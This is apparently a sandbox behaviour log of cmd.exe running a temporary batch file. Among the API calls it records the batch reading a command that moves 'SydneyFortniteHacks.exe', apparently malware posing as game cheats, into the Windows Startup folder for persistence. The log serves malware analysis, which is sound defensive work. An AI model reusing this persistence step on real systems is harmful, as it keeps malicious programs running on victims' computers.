region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\System32\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\cmd.exe.mui") Region: id = 1633 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1634 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1635 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1636 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1637 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1642 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1643 start_va = 0x1c80000 end_va = 0x1d3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Thread: id = 12 os_tid = 0xa58 [0062.378] GetProcAddress (hModule=0x77340000, lpProcName="SetConsoleInputExeNameW") returned 0x77350c80 [0062.379] GetProcessHeap () returned 0x460000 [0062.379] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4012) returned 0x47c8c0 [0062.379] GetProcessHeap () returned 0x460000 [0062.379] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47c8c0 | out: hHeap=0x460000) returned 1 [0062.389] _wcsicmp (_String1="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat", _String2=")") returned 58 [0062.389] _wcsicmp (_String1="FOR", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 3 [0062.389] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 3 [0062.389] _wcsicmp (_String1="IF", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 6 [0062.389] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 6 [0062.389] _wcsicmp (_String1="REM", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 15 [0062.389] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 15 [0062.389] GetProcessHeap () returned 0x460000 [0062.389] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xb0) returned 0x4619e0 [0062.389] GetProcessHeap () returned 0x460000 [0062.389] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x92) returned 0x461aa0 [0062.390] GetProcessHeap () returned 0x460000 [0062.390] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x5e) returned 0x461b40 [0062.391] GetConsoleTitleW (in: lpConsoleTitle=0x2cf4f0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.391] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.392] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.392] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2cf080, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x2cf060, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2cf060*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.392] GetProcessHeap () returned 0x460000 [0062.392] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x218) returned 0x461bb0 [0062.392] GetProcessHeap () returned 0x460000 [0062.392] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xe0) returned 0x461dd0 [0062.392] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0062.392] GetProcessHeap () returned 0x460000 [0062.392] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x420) returned 0x479050 [0062.393] SetErrorMode (uMode=0x0) returned 0x0 [0062.393] SetErrorMode (uMode=0x1) returned 0x0 [0062.393] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\.", nBufferLength=0x208, lpBuffer=0x479060, lpFilePart=0x2ced80 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp", lpFilePart=0x2ced80*="EDB3.tmp") returned 0x37 [0062.393] SetErrorMode (uMode=0x0) returned 0x1 [0062.393] GetProcessHeap () returned 0x460000 [0062.393] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x479050, Size=0x92) returned 0x479050 [0062.393] GetProcessHeap () returned 0x460000 [0062.393] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x479050) returned 0x92 [0062.393] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\.") returned 1 [0062.393] GetProcessHeap () returned 0x460000 [0062.393] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x86) returned 0x479100 [0062.393] GetProcessHeap () returned 0x460000 [0062.393] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xf8) returned 0x479190 [0062.393] GetProcessHeap () returned 0x460000 [0062.393] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x479190, Size=0x86) returned 0x479190 [0062.393] GetProcessHeap () returned 0x460000 [0062.393] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x479190) returned 0x86 [0062.393] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac9f360, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0062.393] GetProcessHeap () returned 0x460000 [0062.394] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xe8) returned 0x479230 [0062.399] GetProcessHeap () returned 0x460000 [0062.399] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x479230, Size=0x7e) returned 0x479230 [0062.399] GetProcessHeap () returned 0x460000 [0062.399] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x479230) returned 0x7e [0062.399] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0062.400] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.bat"), fInfoLevelId=0x1, lpFindFileData=0x2ceaf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ceaf0) returned 0x4786e0 [0062.400] GetProcessHeap () returned 0x460000 [0062.400] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x0, Size=0x28) returned 0x474820 [0062.400] FindClose (in: hFindFile=0x4786e0 | out: hFindFile=0x4786e0) returned 1 [0062.400] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0062.400] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0062.400] GetConsoleTitleW (in: lpConsoleTitle=0x2cf040, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.401] GetProcessHeap () returned 0x460000 [0062.401] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x1e8) returned 0x4792c0 [0062.401] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe2f0000 [0062.410] GetProcAddress (hModule=0x7fefe2f0000, lpProcName="SaferIdentifyLevel") returned 0x7fefe30e470 [0062.410] IdentifyCodeAuthzLevelW () returned 0x1 [0062.449] GetProcAddress (hModule=0x7fefe2f0000, lpProcName="SaferComputeTokenFromLevel") returned 0x7fefe30f9b0 [0062.449] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0062.450] GetProcAddress (hModule=0x7fefe2f0000, lpProcName="SaferCloseLevel") returned 0x7fefe30f660 [0062.450] CloseCodeAuthzLevel () returned 0x1 [0062.450] SetErrorMode (uMode=0x0) returned 0x0 [0062.450] SetErrorMode (uMode=0x1) returned 0x0 [0062.450] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat", nBufferLength=0x104, lpBuffer=0x461bc0, lpFilePart=0x2cee70 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat", lpFilePart=0x2cee70*="EDB4.bat") returned 0x40 [0062.450] SetErrorMode (uMode=0x0) returned 0x1 [0062.450] GetProcessHeap () returned 0x460000 [0062.450] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x92) returned 0x47ec10 [0062.450] wcsspn (_String=" C:\\Users\\Public\\Documents\\startSF.exe", _Control=" \x09") returned 0x1 [0062.450] GetProcessHeap () returned 0x460000 [0062.450] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x5c) returned 0x47ecb0 [0062.450] GetProcessHeap () returned 0x460000 [0062.450] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xa8) returned 0x47ed20 [0062.452] GetProcessHeap () returned 0x460000 [0062.453] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x47ed20, Size=0x5e) returned 0x47ed20 [0062.453] GetProcessHeap () returned 0x460000 [0062.453] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x47ed20) returned 0x5e [0062.453] CmdBatNotification () returned 0x0 [0062.454] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2ceed8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0062.454] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0062.454] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.454] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.454] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.454] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.454] ReadFile (in: hFile=0x60, lpBuffer=0x4acac320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2cece0, lpOverlapped=0x0 | out: lpBuffer=0x4acac320*, lpNumberOfBytesRead=0x2cece0*=0x9f, lpOverlapped=0x0) returned 1 [0062.455] SetFilePointer (in: hFile=0x60, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0062.455] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="@shift /0\r\n", cbMultiByte=11, lpWideCharStr=0x4acae320, cchWideChar=8191 | out: lpWideCharStr="@shift /0\r\n") returned 11 [0062.456] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.456] GetFileType (hFile=0x60) returned 0x1 [0062.456] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.456] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0062.456] GetProcessHeap () returned 0x460000 [0062.456] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4012) returned 0x47ed90 [0062.456] GetProcessHeap () returned 0x460000 [0062.456] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ed90 | out: hHeap=0x460000) returned 1 [0062.457] GetProcessHeap () returned 0x460000 [0062.457] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0xb0) returned 0x47ed90 [0062.457] _tell (_FileHandle=3) returned 11 [0062.458] _close (_FileHandle=3) returned 0 [0062.458] _wcsicmp (_String1="shift", _String2="DIR") returned 15 [0062.458] _wcsicmp (_String1="shift", _String2="ERASE") returned 14 [0062.458] _wcsicmp (_String1="shift", _String2="DEL") returned 15 [0062.458] _wcsicmp (_String1="shift", _String2="TYPE") returned -1 [0062.458] _wcsicmp (_String1="shift", _String2="COPY") returned 16 [0062.458] _wcsicmp (_String1="shift", _String2="CD") returned 16 [0062.458] _wcsicmp (_String1="shift", _String2="CHDIR") returned 16 [0062.458] _wcsicmp (_String1="shift", _String2="RENAME") returned 1 [0062.458] _wcsicmp (_String1="shift", _String2="REN") returned 1 [0062.458] _wcsicmp (_String1="shift", _String2="ECHO") returned 14 [0062.458] _wcsicmp (_String1="shift", _String2="SET") returned 3 [0062.458] _wcsicmp (_String1="shift", _String2="PAUSE") returned 3 [0062.458] _wcsicmp (_String1="shift", _String2="DATE") returned 15 [0062.458] _wcsicmp (_String1="shift", _String2="TIME") returned -1 [0062.458] _wcsicmp (_String1="shift", _String2="PROMPT") returned 3 [0062.458] _wcsicmp (_String1="shift", _String2="MD") returned 6 [0062.458] _wcsicmp (_String1="shift", _String2="MKDIR") returned 6 [0062.458] _wcsicmp (_String1="shift", _String2="RD") returned 1 [0062.459] _wcsicmp (_String1="shift", _String2="RMDIR") returned 1 [0062.459] _wcsicmp (_String1="shift", _String2="PATH") returned 3 [0062.459] _wcsicmp (_String1="shift", _String2="GOTO") returned 12 [0062.459] _wcsicmp (_String1="shift", _String2="SHIFT") returned 0 [0062.459] GetConsoleTitleW (in: lpConsoleTitle=0x2cec80, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.460] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x479b30, Size=0x1a) returned 0x479b60 [0062.460] GetProcessHeap () returned 0x460000 [0062.460] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x479b60) returned 0x1a [0062.460] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.460] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0062.460] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.460] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ac9e194 | out: lpMode=0x4ac9e194) returned 1 [0062.461] _get_osfhandle (_FileHandle=0) returned 0x3 [0062.461] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ac9e198 | out: lpMode=0x4ac9e198) returned 1 [0062.461] SetConsoleInputExeNameW () returned 0x1 [0062.461] GetConsoleOutputCP () returned 0x1b5 [0062.461] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acabfe0 | out: lpCPInfo=0x4acabfe0) returned 1 [0062.461] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.462] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2ceed8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0062.462] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0062.462] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.462] SetFilePointer (in: hFile=0x60, lDistanceToMove=11, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0062.462] GetProcessHeap () returned 0x460000 [0062.462] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x479b30 | out: hHeap=0x460000) returned 1 [0062.462] GetProcessHeap () returned 0x460000 [0062.462] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x479b60 | out: hHeap=0x460000) returned 1 [0062.462] GetProcessHeap () returned 0x460000 [0062.462] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47e600 | out: hHeap=0x460000) returned 1 [0062.462] GetProcessHeap () returned 0x460000 [0062.462] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x474850 | out: hHeap=0x460000) returned 1 [0062.462] GetProcessHeap () returned 0x460000 [0062.462] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ee50 | out: hHeap=0x460000) returned 1 [0062.462] GetProcessHeap () returned 0x460000 [0062.463] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ed90 | out: hHeap=0x460000) returned 1 [0062.463] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.463] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xb [0062.463] ReadFile (in: hFile=0x60, lpBuffer=0x4acac320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2cece0, lpOverlapped=0x0 | out: lpBuffer=0x4acac320*, lpNumberOfBytesRead=0x2cece0*=0x94, lpOverlapped=0x0) returned 1 [0062.463] SetFilePointer (in: hFile=0x60, lDistanceToMove=21, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15 [0062.463] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="echo off\r\n", cbMultiByte=10, lpWideCharStr=0x4acae320, cchWideChar=8191 | out: lpWideCharStr="echo off\r\n\n") returned 10 [0062.463] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.464] GetFileType (hFile=0x60) returned 0x1 [0062.464] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.464] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15 [0062.464] GetProcessHeap () returned 0x460000 [0062.464] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x8, Size=0x4012) returned 0x47ed90 [0062.464] GetProcessHeap () returned 0x460000 [0062.464] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ed90 | out: hHeap=0x460000) returned 1 [0062.464] _tell (_FileHandle=3) returned 21 [0062.464] _close (_FileHandle=3) returned 0 [0062.465] _vsnwprintf (in: _Buffer=0x4acb6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cec78 | out: _Buffer="\r\n") returned 2 [0062.465] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.465] GetFileType (hFile=0x7) returned 0x2 [0062.465] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.465] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2cec08 | out: lpMode=0x2cec08) returned 1 [0062.466] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.466] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4acb6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2cec48, lpReserved=0x0 | out: lpBuffer=0x4acb6340*, lpNumberOfCharsWritten=0x2cec48*=0x2) returned 1 [0062.466] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac9f360, nSize=0x2000 | out: lpBuffer="") returned 0x4 [0062.466] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acac0a0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0062.466] _vsnwprintf (in: _Buffer=0x4ac9eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cec88 | out: _Buffer="C:\\Users\\kEecfMwgj\\Desktop") returned 26 [0062.467] _vsnwprintf (in: _Buffer=0x4ac9eb94, _BufferCount=0x3e4, _Format="%c", _ArgList=0x2cec88 | out: _Buffer=">") returned 1 [0062.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.467] GetFileType (hFile=0x7) returned 0x2 [0062.467] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.467] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2cec38 | out: lpMode=0x2cec38) returned 1 [0062.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.467] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ac9eb60*, nNumberOfCharsToWrite=0x1b, lpNumberOfCharsWritten=0x2cec78, lpReserved=0x0 | out: lpBuffer=0x4ac9eb60*, lpNumberOfCharsWritten=0x2cec78*=0x1b) returned 1 [0062.468] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.468] GetFileType (hFile=0x7) returned 0x2 [0062.468] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.468] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2cef18 | out: lpMode=0x2cef18) returned 1 [0062.469] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.469] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x474860*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0x2cef58, lpReserved=0x0 | out: lpBuffer=0x474860*, lpNumberOfCharsWritten=0x2cef58*=0x4) returned 1 [0062.470] _vsnwprintf (in: _Buffer=0x4acb6340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x2cef58 | out: _Buffer=" off ") returned 5 [0062.470] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.470] GetFileType (hFile=0x7) returned 0x2 [0062.470] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.470] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2ceee8 | out: lpMode=0x2ceee8) returned 1 [0062.470] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.470] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4acb6340*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x2cef28, lpReserved=0x0 | out: lpBuffer=0x4acb6340*, lpNumberOfCharsWritten=0x2cef28*=0x5) returned 1 [0062.471] _vsnwprintf (in: _Buffer=0x4acb6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cef58 | out: _Buffer="\r\n") returned 2 [0062.471] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.471] GetFileType (hFile=0x7) returned 0x2 [0062.471] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.471] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x2ceee8 | out: lpMode=0x2ceee8) returned 1 [0062.471] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.472] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4acb6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x2cef28, lpReserved=0x0 | out: lpBuffer=0x4acb6340*, lpNumberOfCharsWritten=0x2cef28*=0x2) returned 1 [0062.472] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0062.472] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0062.472] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0062.472] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0062.472] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0062.472] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0062.472] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0062.472] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0062.472] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0062.472] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0062.472] GetConsoleTitleW (in: lpConsoleTitle=0x2cec80, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.472] RtlReAllocateHeap (Heap=0x460000, Flags=0x0, Ptr=0x479b30, Size=0x1a) returned 0x479b90 [0062.472] GetProcessHeap () returned 0x460000 [0062.472] RtlSizeHeap (HeapHandle=0x460000, Flags=0x0, MemoryPointer=0x479b90) returned 0x1a [0062.472] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.472] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0062.473] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.473] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ac9e194 | out: lpMode=0x4ac9e194) returned 1 [0062.473] _get_osfhandle (_FileHandle=0) returned 0x3 [0062.473] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ac9e198 | out: lpMode=0x4ac9e198) returned 1 [0062.473] SetConsoleInputExeNameW () returned 0x1 [0062.473] GetConsoleOutputCP () returned 0x1b5 [0062.474] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acabfe0 | out: lpCPInfo=0x4acabfe0) returned 1 [0062.474] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.474] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2ceed8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60 [0062.474] _open_osfhandle (_OSFileHandle=0x60, _Flags=8) returned 3 [0062.474] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.474] SetFilePointer (in: hFile=0x60, lDistanceToMove=21, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15 [0062.474] GetProcessHeap () returned 0x460000 [0062.474] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x479b30 | out: hHeap=0x460000) returned 1 [0062.474] GetProcessHeap () returned 0x460000 [0062.474] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x479b90 | out: hHeap=0x460000) returned 1 [0062.474] GetProcessHeap () returned 0x460000 [0062.474] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x479b60 | out: hHeap=0x460000) returned 1 [0062.474] GetProcessHeap () returned 0x460000 [0062.474] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x474850 | out: hHeap=0x460000) returned 1 [0062.474] GetProcessHeap () returned 0x460000 [0062.474] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x47ed90 | out: hHeap=0x460000) returned 1 [0062.475] _get_osfhandle (_FileHandle=3) returned 0x60 [0062.475] SetFilePointer (in: hFile=0x60, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x15 [0062.475] ReadFile (in: hFile=0x60, lpBuffer=0x4acac320, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2cece0, lpOverlapped=0x0 | out: lpBuffer=0x4acac320*, lpNumberOfBytesRead=0x2cece0*=0x8a, lpOverlapped=0x0) returned 1 [0062.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="move \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"Hacks.exe\"eHacks.exe\"", cbMultiByte=138, lpWideCharStr=0x4acae320, cchWideChar=8191 | out: lpWideCharStr="move \"C:\\Users\\Public\\Documents\\SydneyFortniteHacks.exe\" \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SydneyFortniteHacks.exe\"") returned 138 [0062.475] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x4ac9f360, nSize=0x2000 | out: lpBuffer="") returned 0x22 [0062.475] GetProcessHeap () returned 0x460000 [0062.475] HeapFree (in: hHeap=0x460000, dwFlags=0x0, lpMem=0x474850 | out: 